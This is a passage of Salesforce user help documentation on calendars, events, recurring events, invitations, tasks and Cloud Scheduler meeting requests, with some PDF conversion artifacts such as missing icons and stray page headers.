See the events scheduled for the specified month. Hover your mouse over the subject of an event to see the details of the event in an overlay. Click the Add Event icon ( ) to add an event on the appropriate day. Click the datefor example, 26 for March 26thto drill down to the day view for that day. Click the appropriate Week link to drill down to the week view for that week. Navigate the calendar using the calendar icons. Click This Month to display the month view for the current month. Click [Change] to switch to the calendar of another user, a public calendar, or a resource calendar. Click [Share My Calendar] to set your personal calendar sharing. Click Printable View to display the current calendar view in a print-ready format.

In the multi-user month view, you can view the events of multiple users for the specified month. For more information, see Using Multi-User Calendar Views on page 149.

146

Activities

About Event Detail Overlays

Note: An event that spans more than one day (for example, a client meeting from 10 PM Friday to 2 AM Saturday), always displays on both days in calendar views.

See Also:
Using the Calendar Day View Using the Calendar Week View Viewing Event Details Creating Events Editing Events

About Event Detail Overlays


Available in: All Editions except Database.com

When viewing a calendar, you can hover your mouse over an event to display the event detail overlay. The event detail overlay is a hover popup that shows information about the event and allows you to quickly edit or delete the event. The information presented on the event detail overlay is configured by your administrator. See Defining Mini Page Layouts on page 3494 for details on configuring the event detail overlay. Depending on the layout of the event detail overlay, you may be able to click on fields on the overlay to see more detail. For example, if there is a contact associated with the event, and the event detail includes that information, you can click on the contact name to go to the contact detail page.

See Also:
Using Your Tasks and Calendar on the Home Page

Viewing Other Calendars


Available in: All Editions except Database.com

In a single user calendar view, you can switch to the calendar of another user, a public calendar, or a resource calendar: 1. Click [Change] to open the calendar lookup window. 2. As necessary, search for the desired calendar: a. Choose either User Calendars or Public Calendars & Resources from the drop-down list. b. In the Search field, enter all or part of the appropriate user, public calendar, or resource name. c. Click Go!. 3. Click the appropriate name to switch to that calendar.

147

Activities

Sharing Your Calendar

Note: When viewing a resource calendar, you cannot add a new event. You can add events to resource calendars only by inviting the resource to an event. To reset your view to your own calendar, click Back to My Calendar (not available in Personal Edition).

See Also:
Granting Access to Your Calendar Creating an Event in a Public or Resource Calendar Viewing Your Calendar

Sharing Your Calendar


Available in: All Editions except Database.com

From a calendar day, week, or month view, click Share My Calendar to change how others are allowed to view your calendar. For more information, see Granting Access to Your Calendar on page 48. Note: Regardless of whether your organization's sharing settings specify using hierarchies, activities associated with a record are still visible to users above the activitys assignee in the role hierarchy.

See Also:
Viewing Your Calendar Viewing Other Calendars

Printing Your Calendar


Available in: All Editions except Database.com

To print your calendar, click Printable View from any of the calendar views. On a printable view, you can: Click Print This Page to send the printable view to a printer. Click the Next arrow ( ) and Previous arrow ( ) to change the displayed date or dates. Click Today, This Week, or This Month depending on the view to display the current date or dates.

In addition: On day and week views, you can view a list of tasks that can be customized by selecting an option from the drop-down list.

148

Activities

Using Multi-User Calendar Views

On multi-user views, you can select an option from the Sort by drop-down list to customize the display. Select Time to include all users' events on a single calendar, or select User to display a separate calendar for each user.

See Also:
Viewing Your Calendar

Using Multi-User Calendar Views


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

To see several colleagues' calendars all on one page, click When viewing multi-user calendars you can:

Select, edit, and create list views that determine which calendars display. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. See each person's availability. Consult the legend on the page to see which color indicates Busy or Out of Office time. If someone has multiple events scheduled for a particular time, all of those events display on the calendar. Note that an event marked as Free in the event details doesn't display in the multi-user calendar view. Hover your mouse over a colored bar to see more details about an event. Create an event and invite people. Check the boxes next to the people you want to invite and click New Event. Alternatively, click the Add Event ( ) icon for the appropriate day.

Consider these tips when viewing multi-user calendars. Administrators can choose whether event details display. For more information, see Show Event Details on Multi-User Calendar View on page 1373. Drag-and-drop editing is not available. The time range you see is determined by the Start of day and End of day fields on your personal information page. Events scheduled outside this time range don't display. To see these events, extend your Start of day or End of day times. Multi-user calendar views work differently in the partner portal. For example, partners can only view calendar information for people in their own company and their channel manager. For more information, download the Partner Portal User Help.

See Also:
Viewing Your Calendar Granting Access to Your Calendar Inviting People to an Event

149

Activities

Viewing Event Details

Viewing Event Details


Available in: All Editions except Database.com Multi-person events not available in: Personal Edition

Do one of the following to view the event detail page. In the Calendar section of the Home page, hover your mouse over or click the subject of an event on the Schedule Meetings subtab. Only upcoming events display in the Calendar section. Once the event date has passed, the event displays on the Activity History related list. From a calendar view, hover your mouse over an event to see the event's details in an event detail overlay. On the detail page of an associated record, click the subject line of the event from the Open Activities or Activity History related lists.

To see all your scheduled events for a specific day, week, or month, use the calendar icons to switch between different views. Display a Chatter feed of updates, comments, and posts about the event. For multi-person events (events with invitees), the detail page lists the users that have been invited and whether they have accepted or declined the event. If you've been invited to the event, click Accept Event or Decline Event to let the organizer know if you'll be attending. These buttons appear for invitees only (not organizers). You can clone a multi-person event from the event detail page. This lets you quickly create another event with the same invitees. However, you can't clone standard or recurring events.

identifies events that are part of a recurring series. To view the details of the individual event occurrence, select the View Event subtab, located above the task details. To view the details of the entire event series, select the View Series subtab . Note: If the organizer changes the start or end time of an individual event within a recurring series of events, the calendar view and the Calendar section of the Home page show you the updated time. However, the detail view of the updated individual event continues to show you the original time until you accept or decline the series.

See Also:
About Event Detail Overlays Creating Events Editing Events Activity Fields Shared Activities Overview

150

Activities

Creating Events

Creating Events
Available in: All Editions except Database.com

User Permissions Needed To create events: Edit Events

1. In the Calendar section of the Home page, click New Event. 2. Enter the event details. Note: If multiday events are enabled for your organization, you can create events that last up to 14 days.

3. To select the contact or lead related to the event, click in Name. If Shared Activities is enabled for your organization, you can relate up to 10 contacts to the event. In the Select Contacts dialog box, type a name in Search, and click Find. Use and to select and deselect names. Use Make Primary to select a primary contact. Then, click Done. 4. To invite the related contacts to the event, click Add to Invitees. The contacts are added to the calendar in the Select Invitees section 5. If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the Description field. Spell Checker does not support all the languages that Salesforce supports. For example, Spell Checker doesnt support Thai, Russian, and double-byte languages, such as Japanese, Korean, or Chinese. 6. For non-Shared Activities events, you can create a recurring event. You can't follow recurring events and tasks in Chatter, nor individual instances of recurring events and tasks. Changes to an individual event or task in a recurring series or to the series itself won't show up in your Chatter feed. Select Create Recurring Series of Events. Select the frequency of recurrence. Note: Depending on the type of series you are creating, the maximum number of occurrences is as follows: Daily: 100 Weekly: 53 Monthly: 60 Yearly: 10

Set the start date and end date. Click Calculate max end date to automatically set the maximum end date allowed based on the frequency you selected. Note: No occurrence in a series of recurring events can last longer than 24 hours. Once the recurring event is created, you can extend the length of individual occurrences beyond 24 hours, if multiday events are enabled.

7. To set a reminder on the event, select Reminder and choose how long before the event you want to be reminded. The reminder applies to each occurrence in the event series.

151

Activities

Viewing Event Updates (Chatter)

8. To attach files, click Attach File on the Attachments related list. If you don't see this related list, ask your administrator to add it to the event detail page layout. For recurring events, the attachment is added to the series of events. Each occurrence of the recurring event can also have its own unique set of attachments. 9. To make the event a multi-person event to which users, contacts, leads, or resources are invited, click Select in the Select Invitees section. 10. Click Save. Alternatively, click Save & New Task to save the event and create a new task or Save & New Event to save and create an additional event.

See Also:
Editing Events Activity Fields Creating an Outlook Appointment for an Event

Viewing Event Updates (Chatter)


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Display a Chatter feed of updates, comments, and posts about the event. Note: If Chatter isn't enabled, contact your administrator.

Show or hide Chatter feeds using the Show Feed and Hide Feed links at the top of a feed. To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full feed, above the post, click All Updates.

Following Events
When you follow an event, your Chatter feed includes field changes and event feed updates. To follow an event, click Follow. To stop following, click Following . The Followers list shows you who is following the event. To view a full list, click Show All.

See Also:
Chatter Overview Using Chatter Feeds

152

Activities

Creating Recurring Events

Creating Recurring Events


Available in: All Editions except Database.com

User Permissions Needed To create recurring events: Edit Events

A recurring event is an event that repeats in a series, for example a weekly staff meeting that occurs every Monday at 11:00 AM. You cannot create a recurring Shared Activities event. Note: No occurrence in a series of recurring events can last longer than 24 hours. Once the recurring event is created, you can extend the length of individual occurrences beyond 24 hours, if multiday events are enabled. 1. Select Create Recurring Series of Events. 2. Select the frequency of recurrence. Note: Depending on the type of series you are creating, the maximum number of occurrences is as follows: Daily: 100 Weekly: 53 Monthly: 60 Yearly: 10

3. Set the start date and end date. Click Calculate max end date to automatically set the maximum end date allowed based on the frequency you selected. 4. Optionally, set a reminder on the recurring event. The reminder applies to each occurrence in the event series. Note: You can't follow recurring events and tasks in Chatter, nor individual instances of recurring events and tasks. Changes to an individual event or task in a recurring series or to the series itself won't show up in your Chatter feed.

See Also:
Editing Recurring Events Inviting People to an Event Viewing Your Calendar

153

Activities

Inviting People to an Event

Inviting People to an Event


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To invite people to an event: Edit Events

You can invite users, contacts, leads, or resources to an event.

identifies an event with one or more invitees.

1. In the Select Invitees section on the Event detail page, click Select. 2. In the Select Invitees dialog box, search for the type of invitee: users, leads, contacts, or resources. Person accounts are returned in contact searches and can be added as invitees. 3. Enter a name or part of a name, or leave the field blank to expand the search, and click Find. 4. Use and to select and deselect invitees.

To add more invitees, perform a new search and select more people as needed. Note: Events that occur only once can have a maximum of 1,000 invitees and resources. Recurring events can have a maximum of 100 invitees and resources. You must have at least read access to the contacts and leads you invite to an event. You must have at least Add Events on a resource to invite it to an event. 5. Click Done. 6. Review the calendar of each invitee and adjust the date and time of the event, if necessary. The availability of invitees is indicated in color on their calendars: busy time is blue and out-of-office time is red. If an invitee has more than one event scheduled for a particular time, all the events are shown on the calendar. Hover your mouse over any event on the calendar to see the event details. Note: Events marked as free are not displayed.

7. To remove an invitee from an event, click Remove next to the invitees name. 8. Click Save & Send Update.

154

Activities

Creating an Event in a Public or Resource Calendar

Invited leads, contacts, and person accounts receive an email containing a link to a web page where they can accept or decline the invitation for the event or event series. You will also receive an email summary of the event. If an invited resource is available at the given time, it will automatically accept the invitation. You can't double-book resources.

See Also:
Responding to Events Editing Events Creating Recurring Events Viewing Your Calendar

Creating an Event in a Public or Resource Calendar


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create an event in a public or resource calendar: Edit Events

Adding Events to Public Calendars


To add an event to a public calendar: 1. On a calendar view, click [Change] to switch to the appropriate public calendar. 2. Choose the appropriate time and date of the new event: On the day view, click a time such as 9:00 AM to add an event at that time. On the week or month view, click the Add Event icon ( ) to add an event on a particular date.

3. Enter the details of your event. For details, see Creating Events on page 151. 4. Click Save. Alternatively, click Save & New Task to save the event and immediately begin creating a new task or Save & New Event to save and begin creating an additional event.

Adding Events to Resource Calendars


To add an event to a resource calendar, invite the resource to the event. For details, see Inviting People to an Event on page 154.

See Also:
Editing an Event in a Public or Resource Calendar Managing Public and Resource Calendars Viewing Your Calendar

155

Activities

Editing Events

Editing Events
Available in: All Editions except Database.com

User Permissions Needed To edit events: Edit Events

1. Review the following considerations about who can edit events. Permission to edit other users events is controlled by your organization's calendar sharing model and your personal calendar sharing. However, regardless of these settings, managers in the role hierarchy can always edit the events of people who report to them. Private events can be edited only by the event owner (the user assigned to the event) and users with the Modify All Data permission.

2. Open the event edit page. On the Home page, click the subject of an event listed in the Calendar section, and then click Edit Event. Alternatively, hover your mouse over the subject of an event to display the details of the event in an overlay, and then click Edit. On a calendar view, click the subject of an event, and then click Edit Event. Alternatively, hover your mouse over an event to see the event's details, and then click Edit. On single user daily and weekly calendar views: Reschedule an event by dragging the item on your calendar to a different time. For best results, place your mouse over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence that you drag is changed, not the entire series. Your administrator controls the availability of drag-and-drop calendar editing. Drag-and-drop editing is not available for multiday events. Create an event by double-clicking a time slot and entering the details in an interactive overlay. Your administrator controls the availability of click-and-create events. On the Open Activities or Activity History related list of an associated record, click Edit next to the appropriate event. On an activities list view, click Edit next to the appropriate event.

3. Change the event fields. 4. To select the contact or lead related to the event, click in Name. If Shared Activities is enabled for your organization, you can relate up to 10 contacts to the event. In the Select Contacts dialog box, type a name in Search, and click Find. Use and to select and deselect names. Use Make Primary to select a primary contact. Then, click Done. 5. To invite the related contacts to the event, click Add to Invitees. The contacts are added to the calendar in the Select Invitees section 6. If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the Description field. Spell Checker does not support all the languages that Salesforce supports. For example, Spell Checker doesnt support Thai, Russian, and double-byte languages, such as Japanese, Korean, or Chinese. 7. To set a reminder on the event, select Reminder and choose how long before the event you want to be reminded. The reminder applies to each occurrence in the event series.

156

Activities

Editing Multi-Person Events

8. To attach files, click Attach File on the Attachments related list. If you don't see this related list, ask your administrator to add it to the event detail page layout. For recurring events, the attachment is added to the series of events. Each occurrence of the recurring event can also have its own unique set of attachments. 9. To change the event invitees, click Select in the Select Invitees section. 10. Click Save.

See Also:
Editing Multi-Person Events Editing Recurring Events Editing an Event in a Public or Resource Calendar Creating Events Activity Fields

Editing Multi-Person Events


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit multi-person events: Edit Events

identifies a multi-person event. You can change the details of a multi-person event that you own. 1. Open the event detail page and click Edit. 2. Change the event details and invitees on page 154. 3. From Email Option in the Select Invitees section, choose whether to send an email update to all invited users or only the users you added or deleted during editing. 4. Click Save & Send Update to save the event and send an update email to the invitees. Alternatively, click Save to save your changes without sending an email. All changes will be reflected on the calendars of invited users. Note: You can edit a multi-person event only if you are the event owner. As the event owner, you don't receive an email when an invitee accepts or declines an invitation. You can reassign a multi-person event to a new owner if the event isnt part of a recurring event series.

See Also:
Responding to Events Editing Recurring Events Editing Events Viewing Event Details

157

Activities

Editing Recurring Events

Editing Recurring Events


Available in: All Editions except Database.com

User Permissions Needed To edit recurring events: Edit Events

Note: You can't follow recurring events and tasks in Chatter, nor individual instances of recurring events and tasks. Changes to an individual event or task in a recurring series or to the series itself won't show up in your Chatter feed. To change the details of an event that is part of a series of events: 1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record, and then click the View Event subtab. Alternatively, mouse over the event in any calendar, and click Edit. 2. Click Edit Event. 3. Change the event fields. 4. If this is an multi-person event, choose whether to send an email update to all invited users or just the users you added or deleted during editing. Click Save & Send Update to save the event and send an update email, or just click Save to save your changes without sending an email. All changes will be reflected on the calendars of users that have accepted the event. Note: Changes made to a future event that is part of a series of recurring events will be overwritten if the series frequency is changed.

To change the details of a series of events: 1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record. 2. Select the View Series subtab and then click the Edit Series button. Alternatively, click the Edit Series link in the Recurrence section of the detail page. 3. Modify the fields for this series of events. Changes made will not affect events in the series that have occurred in the past. Warning: If you change any of the details in the recurrence section of the series, all future events that were part of the series will be deleted and new events will be created. Any changes made to individual events that have not yet occurred, including any responses from invitees, will be lost. 4. If the series includes invitees, and you want to notify all the invitees of the changes, click Save & Send Update. If you do not want to send updates to all invitees, click Save. Note: If you have changed the time or frequency of the events in the series, and you do not send updates, the response status (accepted, declined, or not responded) for each invitee will not change. If the invitee did not decline

158

Activities

Editing an Event in a Public or Resource Calendar

the original invitation, the events will be added to the invitee's calendar. If you extend the end date but make no other changes, existing events responses will not be changed unless you send updates.

See Also:
Creating Recurring Events Editing Multi-Person Events Editing Events

Editing an Event in a Public or Resource Calendar


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit an event in a public or resource calendar: Edit Events

Note: Permission to edit events in public and resource calendars is controlled by the calendar sharing model.

1. On a calendar view, click [Change] to switch to the appropriate public calendar. 2. Open the event edit page. On the Home page, click the subject of an event listed in the Calendar section, and then click Edit Event. Alternatively, hover your mouse over the subject of an event to display the details of the event in an overlay, and then click Edit. On a calendar view, click the subject of an event, and then click Edit Event. Alternatively, hover your mouse over an event to see the event's details, and then click Edit. On single user daily and weekly calendar views: Reschedule an event by dragging the item on your calendar to a different time. For best results, place your mouse over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence that you drag is changed, not the entire series. Your administrator controls the availability of drag-and-drop calendar editing. Drag-and-drop editing is not available for multiday events. Create an event by double-clicking a time slot and entering the details in an interactive overlay. Your administrator controls the availability of click-and-create events. On the Open Activities or Activity History related list of an associated record, click Edit next to the appropriate event. On an activities list view, click Edit next to the appropriate event.

3. Change the event fields as needed.

159

Activities

Responding to Events

4. Click Save.

See Also:
Managing Public and Resource Calendars Creating an Event in a Public or Resource Calendar Editing Multi-Person Events Editing Events

Responding to Events
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

When another user invites you to an event, you receive an email containing a link to the event. The event also displays on your Home tab if your home page layout includes your calendar. To accept or decline the event: 1. Click the event description. 2. Optionally, enter a response. 3. If the event is a single event, click Accept Meeting or Decline Meeting. If you have been invited to a series of events, click Accept Series or Decline Series. Note: If you want to attend some of the events in a series of events, but want to decline other events in the series, accept the series and then decline the specific events you will not attend.

To create an Outlook appointment for your event, click Add to Outlook. The event immediately opens in Outlook. If it does not open, save it to your computer as a .vcs file, open the file with Outlook, and then save the event. The Outlook appointment is tagged with the salesforce.com category so that duplicates are not created during synchronization.

See Also:
Inviting People to an Event Editing Multi-Person Events Viewing Activities

Creating an Outlook Appointment for an Event


Available in: All Editions except Database.com

To add an event to Outlook: 1. Select an event from the Calendar on the Home tab or from the Open Activities or Activity History related list of a record. 2. Click Add to Outlook.

160

Activities

Working with Drag-and-Drop Scheduling

3. Click open to immediately add it to Outlook, or save it to your computer as a .vcs file. If you save it as a .vcs file, import the file with Outlook. The Outlook appointment is added to the salesforce.com folder. Consider the following when adding an event to Outlook. When viewing the event added in Outlook, the description doesn't display line breaks that were entered in the event's Description field. Any line breaks are replaced by two spaces in the .vcs file. You can also sync your Salesforce events to Outlook using Salesforce for Outlook.

See Also:
Creating Events Using Connect for Outlook Salesforce for Outlook Overview

Working with Drag-and-Drop Scheduling


Available in: All Editions except Database.com

User Permissions Needed To enable drag-and-drop scheduling: To create events: Customize Application Edit Events

Drag-and-drop scheduling enables you to create events associated with records by dragging records from list views on to weekly calendar views and entering the details of the event in an overlay. This allows you to schedule events without leaving the list view page. Drag-and-drop scheduling is available on list views for accounts, contacts, and leads. After your administrator sets up drag-and-drop scheduling, you can click the Open Calendar link at the bottom of a list view to display a weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record. When the calendar is open, you can: Select the Change link to switch to any calendar to which you have access Click the Previous Week ( ) and Next Week ( ) icons to view the previous or next weeks in the calendar Click the Date Picker icon ( ) to choose a specific date on which to view the calendar Select the This Week link to view the current week in the calendar Select the Show Weekends checkbox to display weekends on the calendar Click the Close icon ( ) to close the calendar at any time. Alternatively, you can click the bottom of the list view to close the calendar. Drag the bar in between the list view and calendar to resize the height of either one Close Calendar link at the

Setting Up Drag-and-Drop Scheduling


Users with the Customize Application permission can set up drag-and-drop scheduling. To set up drag-and-drop scheduling:

161

Activities

Viewing Tasks

1. Click Your Name > Setup > Customize > User Interface. 2. Select the Enable Drag-and-Drop Scheduling on List Views checkbox. To select the Enable Drag-and-Drop Scheduling on List Views checkbox, you must select the Enable Drag-and-Drop Editing on Calendar Views and Enable Click-and-Create Events on Calendar Views checkboxes. For more information, see Customizing User Interface Settings on page 1667. 3. Click Save. 4. Optionally, define event mini page layouts to include the fields you want users to update in the event edit overlay: a. b. c. d. Click Your Name > Setup > Customize > Activities > Event Page Layouts Select an events page layout name. Click Mini Page Layout. Select which fields to display in the event edit overlay. For more information, see Defining Mini Page Layouts on page 3494. e. Click Save.

Tips on Drag-and-Drop Scheduling


Consider the following for drag-and-drop scheduling: The Open Calendar link only appears at the bottom of list views for accounts, contacts, and leads. Drag-and-drop scheduling is not available for the Console tab, multi-person events, recurring events, accessibility mode, or Connect Offline. List views that include drag-and-drop scheduling may take slightly longer than usual to display. We recommend adding the All Day Event field to the event mini page layout, as that field is not automatically added to event mini page layouts. The All Day Event field allows users to specify whether an event lasts all day. Drag-and-drop scheduling includes enhanced lists; however, you do not need to enable enhanced lists for drag-and-drop scheduling to work. For more information, see Working with Enhanced Lists on page 273. When you drag the bar in between the list and calendar to resize either one, the size is automatically saved for all views in which you use drag-and-drop scheduling. You can resize the list and calendar at any time.

See Also:
Creating Custom List Views

Viewing Tasks
Available in: All Editions except Database.com

Tasks allow you to track the specific actions you plan to perform or have performed, such as making phone calls or sending mail. To view the details of a task, click the task's subject from any of the following locations: The My Tasks section of the Home tab The calendar day view An activities list view The Open Activities related list on an associated record

162

Activities

Creating Tasks

The Activity History related list on an associated record

The recurrence icon ( ) identifies tasks that are part of a recurring series. To view the details of the individual task occurrence, select the View Task subtab (located above the task details). To view the details of the entire task series, select the View Series subtab . If your organization has enabled Email-to-Case or On-Demand Email-to-Case, some tasks may be associated with Email-to-Case or On-Demand Email-to-Case emails. Click the link at the top of the task to view the associated email. See Working with Case Emails on page 3357 for more information. If the task is an email that was sent to Salesforce using Email to Salesforce or Salesforce for Outlook, you may see a banner at the top of the email detail page with a link to the My Unresolved Items page. Use this page to assign any unassociated emails to related Salesforce records.

See Also:
Creating Tasks Editing Tasks Closing Tasks Using Your Tasks and Calendar on the Home Page Activity Fields Shared Activities Overview

Creating Tasks
Available in: All Editions except Database.com

User Permissions Needed To create tasks: Edit Tasks

Track the tasks you perform, such as making phone calls or sending email. 1. To create a task click New from the My Tasks section of the Home tab. 2. If you have an option to select a task record type, choose one from the drop-down list and click Continue. Note: When you create a task with a non-default record type and the task is part of a recurring series, Salesforce still applies the default record type to your recurring task. Additionally, any picklist fields associated with the default record type will not display. 3. Enter the task details.
Assigned To. Assigned owner of task. By default, the task is assigned to the creator. To assign the task to another

user, enter a users name, or select a user with the lookup icon. This field is not available in Personal Edition. To assign independent copies of a new task to multiple users, see Creating Group Tasks on page 165. Subject. Subject or short description of the task, for example, Email quote to customer. You can enter a subject, or select from a picklist of previously defined subjects.

163

Activities

Creating Tasks

Due Date (optional). Date when the task should be completed. You can enter a date, or choose a date from the calendar

that displays when you put your cursor in the field. Comments (optional). Text note describing the task. Related To (optional). Record that the task is associated with such as an account or opportunity. This field is not available when you associate the task with a lead instead of a contact.
Name (optional). Contact or lead related to the task. You can enter the name of the person or use

to select the name. If you use Shared Activities, you can relate up to 10 contacts to the task. To relate more than one name, click . In the Select Contacts dialog box, type a name in the Search box, and click Find. Use and and deselect names. Use the Make Primary button to select a primary contact. Then, click Done. to select

4. If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the Comments field. Spell Checker does not support all the languages that Salesforce supports. For example, Spell Checker doesnt support Thai, Russian, and double-byte languages, such as Japanese, Korean, or Chinese. 5. To attach files, click Attach File on the Attachments related list. If you dont see this related list, you may need to first ask your administrator to add it to the task page layout. For recurring tasks, the attachment is added to the series of tasks. Each occurrence of the recurring task can also have its own unique set of attachments. Sending a notification email also sends the attachment. 6. Specify the status and priority of the task. 7. Select the Send Notification Email checkbox to send a notification email to the tasks assignee when you save the task. To save the current state of the checkbox as your personal default, select Make this the default setting. 8. For non-Shared Activities tasks, you can create a recurring task. a. Select the Create Recurring Series of Tasks check box. The Due Date field is disabled because not all recurring tasks have the same due dates. b. Select the frequency of recurrence. Note: Depending on the type of series you are creating, the maximum number of occurrences is as follows: Daily: 100 Weekly: 53 Monthly: 60 Yearly: 10

c. Set the start date and end date. Click Calculate max end date to automatically set the maximum end date allowed based on the frequency you selected. 9. Optionally, set a reminder on the task. If youre creating a recurring task, the reminder applies to each occurrence in the task series.

164

Activities

Creating Group Tasks

10. Click Save, Save & New Task or Save & New Event.

See Also:
Using Your Tasks and Calendar on the Home Page Using the Open Activities Related List Viewing Tasks Editing Tasks Setting Reminders on Activities Shared Activities Overview

Creating Group Tasks


Available in: All Editions except Database.com

User Permissions Needed To create tasks: Edit Tasks

You can create a task so that up to 100 users are each assigned an independent copy of the task. For example, you could create a task Submit your expense reports with the appropriate due date and assign it to a team of account executives. This functionality is enabled by default, but your administrator can choose to disable it for your organization. For more information, see Customizing Activity Settings on page 1372. To create a group task: 1. On the New Task page, click the lookup icon ( ) next to the Assigned To field. 2. In the lookup window, select the Multiple Users tab. 3. Users can be organized into various categories such as personal groups, public groups, roles, or territories. In the Search drop-down list, select the appropriate option. 4. Optionally, enter one or more characters in the text box and click Find to perform a search. 5. In the Available Members list, click one or more items to select them. Press CTRL+click to select multiple items individually, or SHIFT+click to select multiple adjacent items at the same time. 6. Click the Add and Remove buttons to move your selections between the lists. 7. When the appropriate choices are in the Selected Members list, click Done. If your selections total more than 100 users, you must reduce your selections before you can proceed. 8. On the New Task page, see your selections display next to the Assigned To field. The total number of tasks you are creating also displays. 9. Continue entering task details such as due date, status, and comments. Note: When a task is assigned to multiple users or a group, the Create Recurring Series of Tasks checkbox is disabled. You cannot create group recurring tasks.

165

Activities

Editing Tasks

10. When you save the task, your selected users will be assigned copies of the task. Note that these copies are independent and not linked; they can be edited, transferred, or deleted individually. Tip: Personal groups are a convenient way to organize users into groups that are meaningful to you. For details, see Creating and Editing Groups on page 598.

See Also:
Creating Tasks

Editing Tasks
Available in: All Editions except Database.com

User Permissions Needed To edit tasks: Edit on tasks

1. Click the subject of the task from the My Tasks section of the Home tab. 2. For non-recurring tasks, click Edit. 3. For non-Shared Activities tasks that are part of a recurring series, perform one of the following. To edit an individual task occurrence, click the View Task subtab, and click Edit Task. To edit an entire task series, click the View Series subtab and click Edit Series. Alternatively, click the Edit Series link in the Recurrence section of the detail page. Note: When editing recurring tasks, keep the following in mind. Changes you make to an individual task occurrence are overwritten if the task series is subsequently updated with conflicting information. If you change details in the recurrence section of the series, all open tasks that were part of the series will be deleted and new tasks will be created. Any changes made to individual open tasks that have not yet occurred will be lost.

4. Edit the task fields as needed. Tip: If Shared Activities is enabled, you can click to edit your selected contacts. Use and in the Select Contacts dialog box to add or remove names or use Search to find more names. Make sure to click Done when finished. If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the Comments field. Spell Checker does not support all the languages that Salesforce supports. For example, Spell Checker doesnt support Thai, Russian, and double-byte languages, such as Japanese, Korean, or Chinese.

166

Activities

Deleting Recurring Tasks

Select the Send Notification Email checkbox to send a notification email to the tasks assignee when you save the task. To save the current state of the checkbox as your personal default, select Make this the default setting. You cannot change the status of an entire recurring task series. To change the status, you must edit each occurrence in the recurring series.

5. To attach files, click Attach File on the Attachments related list. If you dont see this related list, you may need to first ask your administrator to add it to the task page layout. For recurring tasks, the attachment is added to the series of tasks. Each occurrence of the recurring task can also have its own unique set of attachments. 6. Click Save.

See Also:
Viewing Tasks Closing Tasks Setting Reminders on Activities Activity Fields Shared Activities Overview

Deleting Recurring Tasks


Available in: All Editions except Database.com

User Permissions Needed To delete recurring tasks: Edit Tasks

To delete a single task occurrence or an entire task series: 1. Click the subject of the task from any of the following locations: The My Tasks section of the Home tab The calendar day view An activities list view The Open Activities related list on an associated record The Activity History related list on an associated record

2. Do one of the following: To delete an individual task occurrence, select the View Task subtab located above the task details, and click Delete Task. To delete a task series, select the View Series subtab, click Delete Series and click OK to confirm the deletion.

Deleted tasks are moved to the Recycle Bin.

167

Activities

Closing Tasks

Note: When you delete a task series: Closed task occurrences are not deleted. Only future task occurrences are placed in the Recycle Bin. To restore a series from the Recycle Bin, you must restore each task occurrence. Salesforce restores series and occurrence-specific task details.

See Also:
Creating Tasks Editing Tasks Viewing Tasks

Closing Tasks
Available in: All Editions except Database.com

User Permissions Needed To edit tasks: Edit Tasks

To close tasks: 1. On the My Tasks section of the Home tab or on the My Tasks section of the calendar day view, click X next to the appropriate task. Alternatively, in the Open Activities related list on an associated record, click Cls next to the appropriate task. To close all tasks in a recurring series, you must close each occurrence separately. 2. Click Save to accept the changed Status value. 3. Click Save. The closed task displays in the Activity History related list of the associated record. Note: By default, the status changes to Completed when you click X or Cls. However, if your administrator has customized the task status picklist, then the value changes to the first value for which the Closed checkbox is selected according to the current order of picklist values. For example, if your administrator has customized the task status picklist values so that both Completed and Deferred are defined as Closed and Deferred is above Completed in the current order of picklist values, then clicking X or Cls sets the status value to Deferred.

See Also:
Viewing Tasks Editing Tasks Using the Activity History Related List Shared Activities Overview

168

Activities

About Cloud Scheduler

About Cloud Scheduler


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To request a meeting: Edit Events AND Send Email

Watch a Demo (2:37 minutes) Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

When you use Cloud Scheduler to request a meeting with a contact, lead, person account, or other Salesforce user, Salesforce creates a unique Web page for your meeting that displays the proposed meeting times. When invitees visit the page, they select the times that work for them, and send you a reply. Salesforce tracks all the responses so you can pick the best time to meet when you confirm the meeting. The following sections provide an overview of how to request a meeting using Cloud Scheduler. Step 1: You Request a Meeting and Propose Meeting Times Go to either the Calendar section on the Home tab or the Open Activities related list on the detail page of the contact, lead, or person account you want to request a meeting with. Click New Meeting Request to open the Meeting Request page.

1. Click To to invite other Salesforce users, leads, contacts, or person accounts to the meeting. 2. Click in the calendar to propose up to five meeting times, or let Salesforce propose times for you.

169

Activities

About Cloud Scheduler

Step 2: Invitees Pick the Times They Can Meet Salesforce emails a meeting request to the invitees so they can pick the times they are available.

1. In the meeting request, invitees click Respond to This Request to open your meeting's Web page. 2. On the meeting Web page, invitees pick the proposed times that work for them and send you a reply. Step 3: You Confirm the Meeting Salesforce keeps track of all the responses so you can see when each invitee is available. You then select the best time to meet and confirm the meeting.

See Also:
Shared Activities Overview

170

Activities

Requesting a Meeting Using Cloud Scheduler

Requesting a Meeting Using Cloud Scheduler


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To request a meeting: Edit Events AND Send Email

Watch a Demo (2:37 minutes) Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

